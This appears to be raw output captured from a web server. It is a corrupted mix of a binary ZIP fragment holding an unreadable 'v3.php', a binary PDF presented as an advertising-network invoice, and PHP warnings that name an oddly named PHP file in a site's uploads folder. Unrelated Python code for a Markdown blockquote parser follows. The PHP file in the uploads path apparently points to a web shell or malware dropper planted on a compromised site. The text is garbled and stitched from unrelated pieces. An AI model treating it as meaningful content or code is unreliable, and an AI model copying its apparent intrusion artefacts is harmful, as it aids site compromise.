PK���ȼRY��������€��� �v3.phpUT �øŽg‰gñ“gux �õ��õ��½T]kÛ0}߯pEhìâÙM7X‰çv%”v0֐µ{)Aå:6S$!ÉMJèߕ?R÷!>lO¶tÏ=ç~êë¥*”—W‚ÙR OÃhþÀXl5ØJ ÿñ¾¹K^•æi‡#ëLÇÏ_ ÒËõçX²èY[:ŽÇFY[  ÿD. çI™û…Mi¬ñ;ª¡AO+$£–x™ƒ Øîü¿±ŒsZÐÔQô ]+ÊíüÓ:‚ãã½ú¶%åºb¨{¦¤Ó1@V¤ûBëSúA²Ö§ ‘0|5Ì­Ä[«+èUsƒ ôˆh2àr‡z_¥(Ùv§ÈĂï§EÖý‰ÆypBS¯·8Y­è,eRX¨Ö¡’œqéF²;¿¼?Ø?Lš6` dšikR•¡™âÑo†e«ƒi´áŽáqXHc‡óðü4€ÖBÖÌ%ütÚ$š+T”•MÉÍõ½G¢ž¯Êl1œGÄ»½¿ŸÆ£h¤I6JÉ-òŽß©ˆôP)Ô9½‰+‘Κ¯uiÁi‡ˆ‰i0J ép˜¬‹’ƒ”ƒlÂÃø:s”æØ�S{ŽÎαÐ]å÷:y°Q¿>©å{x<ŽæïíNCþÑ.Mf?¨«2ý}=ûõýî'=£§ÿu•Ü(—¾IIa­"éþ@¶�¿ä9?^-qìÇÞôvŠeÈc ðlacã®xèÄ'®âd¶ çˆSEæódP/ÍÆv{Ô)Ó ?>…V¼—óÞÇlŸÒMó¤®ðdM·ÀyƱϝÚÛTÒ´6[xʸO./p~["M[`…ôÈõìn6‹Hòâ]^|ø PKýBvây��€��PK���ȼRY��������°���� �__MACOSX/._v3.phpUT �øŽg‰gþ“gux �õ��õ��c`cg`b`ðMLVðVˆP€'qƒøˆŽ!!AP&HÇ %PDF-1.7 1 0 obj << /Type /Catalog /Outlines 2 0 R /Pages 3 0 R >> endobj 2 0 obj << /Type /Outlines /Count 0 >> endobj 3 0 obj << /Type /Pages /Kids [6 0 R ] /Count 1 /Resources << /ProcSet 4 0 R /Font << /F1 8 0 R /F2 9 0 R >> >> /MediaBox [0.000 0.000 595.280 841.890] >> endobj 4 0 obj [/PDF /Text ] endobj 5 0 obj << /Producer (���d�o�m�p�d�f� �2�.�0�.�8� �+� �C�P�D�F) /CreationDate (D:20241129143806+00'00') /ModDate (D:20241129143806+00'00') /Title (���A�d�s�T�e�r�r�a�.�c�o�m� �i�n�v�o�i�c�e) >> endobj 6 0 obj << /Type /Page /MediaBox [0.000 0.000 595.280 841.890] /Parent 3 0 R /Contents 7 0 R >> endobj 7 0 obj << /Filter /FlateDecode /Length 904 >> stream x���]o�J���+F�ͩ����su\ �08=ʩzရ���lS��lc� "Ց� ���wޙ�%�R�DS��� �OI�a`� �Q�f��5����_���םO�`�7�_FA���D�Џ.j�a=�j����>��n���R+�P��l�rH�{0��w��0��=W�2D ����G���I�>�_B3ed�H�yJ�G>/��ywy�fk��%�$�2.��d_�h����&)b0��"[\B��*_.��Y� ��<�2���fC�YQ&y�i�tQ�"xj����+���l�����'�i"�,�ҔH�AK��9��C���&Oa�Q � jɭ��� �p _���E�ie9�ƃ%H&��,`rDxS�ޔ!�(�X!v ��]{ݛx�e�`�p�&��'�q�9 F�i���W1in��F�O�����Zs��[gQT�؉����}��q^upLɪ:B"��؝�����*Tiu(S�r]��s�.��s9n�N!K!L�M�?�*[��N�8��c��ۯ�b�� ��� �YZ���SR3�n�����lPN��P�;��^�]�!'�z-���ӊ���/��껣��4�l(M�E�QL��X ��~���G��M|�����*��~�;/=N4�-|y�`�i�\�e�T�<���L��G}�"В�J^���q��"X�?(V�ߣXۆ{��H[����P�� �c���kc�Z�9v�����? �a��R�h|��^�k�D4W���?Iӊ�]<��4�)$wdat���~�����������|�L��x�p|N�*��E� �/4�Qpi�x.>��d����,M�y|4^�Ż��8S/޾���uQe���D�y� ��ͧH�����j�wX � �&z� endstream endobj 8 0 obj << /Type /Font /Subtype /Type1 /Name /F1 /BaseFont /Helvetica /Encoding /WinAnsiEncoding >> endobj 9 0 obj << /Type /Font /Subtype /Type1 /Name /F2 /BaseFont /Helvetica-Bold /Encoding /WinAnsiEncoding >> endobj xref 0 10 0000000000 65535 f 0000000009 00000 n 0000000074 00000 n 0000000120 00000 n 0000000284 00000 n 0000000313 00000 n 0000000514 00000 n 0000000617 00000 n 0000001593 00000 n 0000001700 00000 n trailer << /Size 10 /Root 1 0 R /Info 5 0 R /ID[] >> startxref 1812 %%EOF
Warning: Cannot modify header information - headers already sent by (output started at /home/u866776246/domains/wisatalogung.com/public_html/uploads/produk/1775157541_x.php:1) in /home/u866776246/domains/wisatalogung.com/public_html/uploads/produk/1775157541_x.php on line 128

Warning: Cannot modify header information - headers already sent by (output started at /home/u866776246/domains/wisatalogung.com/public_html/uploads/produk/1775157541_x.php:1) in /home/u866776246/domains/wisatalogung.com/public_html/uploads/produk/1775157541_x.php on line 129

Warning: Cannot modify header information - headers already sent by (output started at /home/u866776246/domains/wisatalogung.com/public_html/uploads/produk/1775157541_x.php:1) in /home/u866776246/domains/wisatalogung.com/public_html/uploads/produk/1775157541_x.php on line 130

Warning: Cannot modify header information - headers already sent by (output started at /home/u866776246/domains/wisatalogung.com/public_html/uploads/produk/1775157541_x.php:1) in /home/u866776246/domains/wisatalogung.com/public_html/uploads/produk/1775157541_x.php on line 131
# Block quotes from __future__ import annotations import logging from ..common.utils import isStrSpace from .state_block import StateBlock LOGGER = logging.getLogger(__name__) def blockquote(state: StateBlock, startLine: int, endLine: int, silent: bool) -> bool: LOGGER.debug( "entering blockquote: %s, %s, %s, %s", state, startLine, endLine, silent ) oldLineMax = state.lineMax pos = state.bMarks[startLine] + state.tShift[startLine] max = state.eMarks[startLine] if state.is_code_block(startLine): return False # check the block quote marker try: if state.src[pos] != ">": return False except IndexError: return False pos += 1 # we know that it's going to be a valid blockquote, # so no point trying to find the end of it in silent mode if silent: return True # set offset past spaces and ">" initial = offset = state.sCount[startLine] + 1 try: second_char: str | None = state.src[pos] except IndexError: second_char = None # skip one optional space after '>' if second_char == " ": # ' > test ' # ^ -- position start of line here: pos += 1 initial += 1 offset += 1 adjustTab = False spaceAfterMarker = True elif second_char == "\t": spaceAfterMarker = True if (state.bsCount[startLine] + offset) % 4 == 3: # ' >\t test ' # ^ -- position start of line here (tab has width==1) pos += 1 initial += 1 offset += 1 adjustTab = False else: # ' >\t test ' # ^ -- position start of line here + shift bsCount slightly # to make extra space appear adjustTab = True else: spaceAfterMarker = False oldBMarks = [state.bMarks[startLine]] state.bMarks[startLine] = pos while pos < max: ch = state.src[pos] if isStrSpace(ch): if ch == "\t": offset += ( 4 - (offset + state.bsCount[startLine] + (1 if adjustTab else 0)) % 4 ) else: offset += 1 else: break pos += 1 oldBSCount = [state.bsCount[startLine]] state.bsCount[startLine] = ( state.sCount[startLine] + 1 + (1 if spaceAfterMarker else 0) ) lastLineEmpty = pos >= max oldSCount = [state.sCount[startLine]] state.sCount[startLine] = offset - initial oldTShift = [state.tShift[startLine]] state.tShift[startLine] = pos - state.bMarks[startLine] terminatorRules = state.md.block.ruler.getRules("blockquote") oldParentType = state.parentType state.parentType = "blockquote" # Search the end of the block # # Block ends with either: # 1. an empty line outside: # ``` # > test # # ``` # 2. an empty line inside: # ``` # > # test # ``` # 3. another tag: # ``` # > test # - - - # ``` # for (nextLine = startLine + 1; nextLine < endLine; nextLine++) { nextLine = startLine + 1 while nextLine < endLine: # check if it's outdented, i.e. it's inside list item and indented # less than said list item: # # ``` # 1. anything # > current blockquote # 2. checking this line # ``` isOutdented = state.sCount[nextLine] < state.blkIndent pos = state.bMarks[nextLine] + state.tShift[nextLine] max = state.eMarks[nextLine] if pos >= max: # Case 1: line is not inside the blockquote, and this line is empty. break evaluatesTrue = state.src[pos] == ">" and not isOutdented pos += 1 if evaluatesTrue: # This line is inside the blockquote. # set offset past spaces and ">" initial = offset = state.sCount[nextLine] + 1 try: next_char: str | None = state.src[pos] except IndexError: next_char = None # skip one optional space after '>' if next_char == " ": # ' > test ' # ^ -- position start of line here: pos += 1 initial += 1 offset += 1 adjustTab = False spaceAfterMarker = True elif next_char == "\t": spaceAfterMarker = True if (state.bsCount[nextLine] + offset) % 4 == 3: # ' >\t test ' # ^ -- position start of line here (tab has width==1) pos += 1 initial += 1 offset += 1 adjustTab = False else: # ' >\t test ' # ^ -- position start of line here + shift bsCount slightly # to make extra space appear adjustTab = True else: spaceAfterMarker = False oldBMarks.append(state.bMarks[nextLine]) state.bMarks[nextLine] = pos while pos < max: ch = state.src[pos] if isStrSpace(ch): if ch == "\t": offset += ( 4 - ( offset + state.bsCount[nextLine] + (1 if adjustTab else 0) ) % 4 ) else: offset += 1 else: break pos += 1 lastLineEmpty = pos >= max oldBSCount.append(state.bsCount[nextLine]) state.bsCount[nextLine] = ( state.sCount[nextLine] + 1 + (1 if spaceAfterMarker else 0) ) oldSCount.append(state.sCount[nextLine]) state.sCount[nextLine] = offset - initial oldTShift.append(state.tShift[nextLine]) state.tShift[nextLine] = pos - state.bMarks[nextLine] nextLine += 1 continue # Case 2: line is not inside the blockquote, and the last line was empty. if lastLineEmpty: break # Case 3: another tag found. terminate = False for terminatorRule in terminatorRules: if terminatorRule(state, nextLine, endLine, True): terminate = True break if terminate: # Quirk to enforce "hard termination mode" for paragraphs; # normally if you call `tokenize(state, startLine, nextLine)`, # paragraphs will look below nextLine for paragraph continuation, # but if blockquote is terminated by another tag, they shouldn't state.lineMax = nextLine if state.blkIndent != 0: # state.blkIndent was non-zero, we now set it to zero, # so we need to re-calculate all offsets to appear as # if indent wasn't changed oldBMarks.append(state.bMarks[nextLine]) oldBSCount.append(state.bsCount[nextLine]) oldTShift.append(state.tShift[nextLine]) oldSCount.append(state.sCount[nextLine]) state.sCount[nextLine] -= state.blkIndent break oldBMarks.append(state.bMarks[nextLine]) oldBSCount.append(state.bsCount[nextLine]) oldTShift.append(state.tShift[nextLine]) oldSCount.append(state.sCount[nextLine]) # A negative indentation means that this is a paragraph continuation # state.sCount[nextLine] = -1 nextLine += 1 oldIndent = state.blkIndent state.blkIndent = 0 token = state.push("blockquote_open", "blockquote", 1) token.markup = ">" token.map = lines = [startLine, 0] state.md.block.tokenize(state, startLine, nextLine) token = state.push("blockquote_close", "blockquote", -1) token.markup = ">" state.lineMax = oldLineMax state.parentType = oldParentType lines[1] = state.line # Restore original tShift; this might not be necessary since the parser # has already been here, but just to make sure we can do that. for i, item in enumerate(oldTShift): state.bMarks[i + startLine] = oldBMarks[i] state.tShift[i + startLine] = item state.sCount[i + startLine] = oldSCount[i] state.bsCount[i + startLine] = oldBSCount[i] state.blkIndent = oldIndent return True